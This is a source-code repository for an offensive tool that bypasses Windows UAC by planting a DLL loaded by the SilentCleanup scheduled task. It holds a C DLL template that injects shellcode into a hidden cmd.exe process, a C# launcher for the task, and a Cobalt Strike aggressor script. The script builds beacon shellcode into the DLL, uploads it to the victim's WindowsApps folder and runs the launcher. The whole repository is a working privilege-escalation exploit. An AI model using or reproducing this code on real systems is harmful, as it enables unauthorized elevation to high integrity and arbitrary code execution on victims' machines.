├── .gitignore ├── dllmain.def ├── SilentClean ├── SilentClean │ ├── ILMergeOrder.txt │ ├── packages.config │ ├── Program.cs │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── ILMerge.props │ └── SilentClean.csproj ├── .gitignore └── SilentClean.sln ├── dllmain_template.c ├── README.md └── AggressiveClean.cna /.gitignore: -------------------------------------------------------------------------------- 1 | *.DS_Store 2 | -------------------------------------------------------------------------------- /dllmain.def: -------------------------------------------------------------------------------- 1 | EXPORTS 2 | DllMain 3 | -------------------------------------------------------------------------------- /SilentClean/SilentClean/ILMergeOrder.txt: -------------------------------------------------------------------------------- 1 | # this file contains the partial list of the merged assemblies in the merge order 2 | # you can fill it from the obj\CONFIG\PROJECT.ilmerge generated on every build 3 | # and finetune merge order to your satisfaction 4 | 5 | -------------------------------------------------------------------------------- /SilentClean/SilentClean/packages.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /SilentClean/.gitignore: -------------------------------------------------------------------------------- 1 | # Autosave files 2 | *~ 3 | 4 | # build 5 | [Oo]bj/ 6 | [Bb]in/ 7 | packages/ 8 | TestResults/ 9 | 10 | # globs 11 | .vs/ 12 | Makefile.in 13 | *.DS_Store 14 | *.sln.cache 15 | *.suo 16 | *.cache 17 | *.pidb 18 | *.userprefs 19 | *.usertasks 20 | config.log 21 | config.make 22 | config.status 23 | aclocal.m4 24 | install-sh 25 | autom4te.cache/ 26 | *.user 27 | *.tar.gz 28 | tarballs/ 29 | test-results/ 30 | Thumbs.db 31 | 32 | # Mac bundle stuff 33 | *.dmg 34 | *.app 35 | 36 | # resharper 37 | *_Resharper.* 38 | *.Resharper 39 | 40 | # dotCover 41 | *.dotCover 42 | 43 | -------------------------------------------------------------------------------- /SilentClean/SilentClean/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Text.RegularExpressions; 3 | using Microsoft.Win32.TaskScheduler; 4 | 5 | namespace SilentClean 6 | { 7 | class Program 8 | { 9 | static void Main(string[] args) 10 | { 11 | try 12 | { 13 | var hostname = Environment.GetEnvironmentVariable("COMPUTERNAME"); 14 | using (TaskService tasksrvc = new TaskService(@"\\"+ hostname, "", "", "", false)) 15 | { 16 | var task = tasksrvc.FindAllTasks(new Regex("SilentClean*")); 17 | Console.WriteLine("\n[*] Starting Task"); 18 | task[0].RunEx(TaskRunFlags.IgnoreConstraints | TaskRunFlags.UseSessionId, 1, "", ""); 19 | Console.WriteLine("\n[*] Make sure to clean-after yourself and remove the dropped DLL"); 20 | } 21 | } catch (Exception e) 22 | { 23 | Console.WriteLine(e.Message); 24 | Console.WriteLine(e.StackTrace); 25 | } 26 | } 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /SilentClean/SilentClean.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.28307.1169 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SilentClean", "SilentClean\SilentClean.csproj", "{948152A4-A4A1-4260-A224-204255BFEE72}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {948152A4-A4A1-4260-A224-204255BFEE72}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {948152A4-A4A1-4260-A224-204255BFEE72}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {948152A4-A4A1-4260-A224-204255BFEE72}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {948152A4-A4A1-4260-A224-204255BFEE72}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {D27EECDA-38CD-4013-9BEA-714084972122} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /dllmain_template.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | %%BUFFER%% 6 | 7 | DWORD WINAPI RunMe() 8 | { 9 | HANDLE pHandle; 10 | PVOID remoteBuffer; 11 | STARTUPINFO SI = { 0 }; 12 | PROCESS_INFORMATION PI = { 0 }; 13 | ZeroMemory(&SI, sizeof(SI)); 14 | SI.cb = sizeof(SI); 15 | ZeroMemory(&PI, sizeof(PI)); 16 | SI.dwFlags = 1; 17 | SI.wShowWindow = 0; 18 | if(!CreateProcessWithLogonW(L"aaa", L"bbb", L"ccc", 0x00000002, L"C:\\Windows\\System32\\cmd.exe", NULL, 0x04000000, NULL, L"c:\\windows\\system32\\", &SI, &PI)) { 19 | return 0; 20 | } 21 | pHandle = PI.hProcess; 22 | remoteBuffer = VirtualAllocEx(pHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); 23 | if (remoteBuffer != NULL) 24 | { 25 | WriteProcessMemory(pHandle, remoteBuffer, shellcode, sizeof shellcode, NULL); 26 | CreateRemoteThread(pHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL); 27 | } 28 | CloseHandle(pHandle); 29 | CloseHandle(PI.hThread); 30 | return 0; 31 | } 32 | 33 | 34 | BOOL WINAPI DllMain(HINSTANCE hDll, DWORD dwReason, LPVOID lpReserved) { 35 | switch( dwReason ) 36 | { 37 | case DLL_PROCESS_ATTACH: 38 | RunMe(); 39 | break; 40 | 41 | case DLL_THREAD_ATTACH: 42 | break; 43 | 44 | case DLL_THREAD_DETACH: 45 | break; 46 | 47 | case DLL_PROCESS_DETACH: 48 | break; 49 | } 50 | 51 | return FALSE; 52 | } 53 | -------------------------------------------------------------------------------- /SilentClean/SilentClean/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("")] 13 | [assembly: AssemblyCopyright("")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("948152a4-a4a1-4260-a224-204255bfee72")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SilentClean UAC bypass via binary planting 2 | 3 | This project implements a DLL planting technique to bypass UAC Always Notify and execute code in a high integrity process. 4 | 5 | When SilentCleanup task is launched, `dismhost` searches for the non existing DLL `api-ms-win-core-kernel32-legacy-l1.dll` under: 6 | 7 | ``` 8 | C:\Users\USER\Appdata\Local\Microsoft\WindowsApps 9 | ``` 10 | 11 | The above path exists by default in the PATH of the user. 12 | 13 | By crafting a malicious DLL and placing it in the above directory, it will be loaded by `dismhost.exe` and executed with High Integrity privileges. 14 | 15 | ## Implementation 16 | 17 | The project consists of: 18 | 19 | * **SilentClean .NET project** - Launching SilentClean scheduled task with the use of the TaskScheduler library 20 | 21 | * **DLLmain_template.c** - A DLL skeleton which will spawn a process and inject the shellcode of our choice. Sample provided implements a simple CreateRemoteThread injector. 22 | 23 | * **Cobalt strike aggressor script responsible for**: 24 | * Generating the shellcode byte array 25 | * Replacing dllmain_template.c with the above shellcode 26 | * Compile the dll with mingw 27 | * Upload the dll to the required path 28 | * Execute .NET binary SilentClean.exe through Execute-Assembly to launch the scheduled task 29 | 30 | ## Configuration 31 | 32 | * Feel free to replace injection method in RunMe function of `dllmain_template.c`. **This is just a POC** 33 | * Current spawned process to inject to is `cmd.exe`. 34 | * No shellcode encryption / compression has been baked in. As such the DLL generated will probably be **flagged by an AV** 35 | * x86_64-w64-mingw32 and headers are required to be installed on the building system 36 | * If CNA can not find mingw replace the variables $mingwgcc $mingwdllwrap with your path 37 | * Compile SilentClean .NET project and place executable in the same folder as the CNA script 38 | 39 | 40 | ## Versions tested 41 | 42 | * Microsoft Windows 10 - 1909 18363.1110 43 | * Microsoft Windows 10 - 1909 18363.1082 44 | * Microsoft Windows 10 - 1809 17763.1457 45 | 46 | ## Author 47 | 48 | * [@leftp](https://github.com/leftp) 49 | * [@cirrusj](https://github.com/cirrusj) 50 | -------------------------------------------------------------------------------- /AggressiveClean.cna: -------------------------------------------------------------------------------- 1 | $mingwgcc = exec("which x86_64-w64-mingw32-gcc"); 2 | $mingwdllwrap = exec("which x86_64-w64-mingw32-dllwrap"); 3 | 4 | sub uac-silentcleanup { 5 | if (-is64 $1) 6 | { 7 | $arch = "x64"; 8 | $shellcode = artifact_payload($2, "raw", $arch); # generate shellcode for x64 9 | } 10 | else 11 | { 12 | $arch = "x86"; 13 | $shellcode = artifact_payload($2, "raw", $arch); # generate shellcode for x86 14 | } 15 | 16 | btask($1, "User tasked beacon to bypass UAC with silentcleanup scheduled task DLL planting", "T1548.002"); 17 | $user = binfo($1, "user"); 18 | 19 | # String building for shellcode into template 20 | $shellbuf = "char shellcode[] = \"" . format_bytes($shellcode) . "\";\n"; 21 | $handle = openf(script_resource("dllmain_template.c")); 22 | $data = readb($handle, -1); 23 | closef($handle); 24 | 25 | $fdata = strrep($data, "%%BUFFER%%", $shellbuf); 26 | $destination = openf(">".script_resource("dllmain.c")); 27 | writeb($destination,$fdata); 28 | closef($destination); 29 | 30 | if (-is64 $1) 31 | { 32 | $build = exec($mingwgcc . " -m64 -c -Os " . script_resource("dllmain.c") . " -Wall -shared -o " . getFileParent(script_resource("dllmain.c")) . "/dllmain.o"); 33 | 34 | wait($build); 35 | 36 | $wrap = exec($mingwdllwrap . " -m64 --def " . script_resource("dllmain.def") . " " . script_resource("dllmain.o") . " -o " . getFileParent(script_resource("dllmain.c")) . "/api-ms-win-core-kernel32-legacy-l1.dll"); 37 | 38 | wait($wrap); 39 | } 40 | else 41 | { 42 | $build = exec($mingwgcc . " -m32 -c -Os " . script_resource("dllmain.c") . " -Wall -shared -o " . getFileParent(script_resource("dllmain.c")) . "/dllmain.o"); 43 | 44 | wait($build); 45 | 46 | $wrap = exec($mingwdllwrap . " -m32 --def " . script_resource("dllmain.def") . " " . script_resource("dllmain.o") . " -o " . getFileParent(script_resource("dllmain.c")) . "/api-ms-win-core-kernel32-legacy-l1.dll"); 47 | 48 | wait($wrap); 49 | } 50 | 51 | $dll = openf(script_resource("api-ms-win-core-kernel32-legacy-l1.dll")); 52 | $dllbytes = readb($dll, -1); 53 | closef($dll); 54 | 55 | bupload_raw($1, "C:\\Users\\" . $user . "\\Appdata\\Local\\Microsoft\\WindowsApps\\api-ms-win-core-kernel32-legacy-l1.dll", $dllbytes); 56 | 57 | bexecute_assembly($1, script_resource("SilentClean.exe")); 58 | } 59 | 60 | sub format_bytes { 61 | $key = $1; 62 | @fmt = str_chunk(transform($key, "veil"), 60); 63 | return "". join("\"\n\"", @fmt); 64 | } 65 | 66 | beacon_exploit_register("uac-silentcleanup-1909", "Scheduled task uac bypass using silentcleanup with DLL planting", &uac-silentcleanup); -------------------------------------------------------------------------------- /SilentClean/SilentClean/ILMerge.props: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | true 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | -------------------------------------------------------------------------------- /SilentClean/SilentClean/SilentClean.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Debug 8 | AnyCPU 9 | {948152A4-A4A1-4260-A224-204255BFEE72} 10 | Exe 11 | SilentClean 12 | SilentClean 13 | v3.5 14 | 512 15 | true 16 | 17 | 18 | 19 | 20 | AnyCPU 21 | true 22 | full 23 | false 24 | bin\Debug\ 25 | DEBUG;TRACE 26 | prompt 27 | 4 28 | 29 | 30 | AnyCPU 31 | pdbonly 32 | true 33 | bin\Release\ 34 | TRACE 35 | prompt 36 | 4 37 | 38 | 39 | 40 | ..\packages\TaskScheduler.2.8.21\lib\net35\Microsoft.Win32.TaskScheduler.dll 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. 65 | 66 | 67 | 68 | 69 | 70 | 71 | --------------------------------------------------------------------------------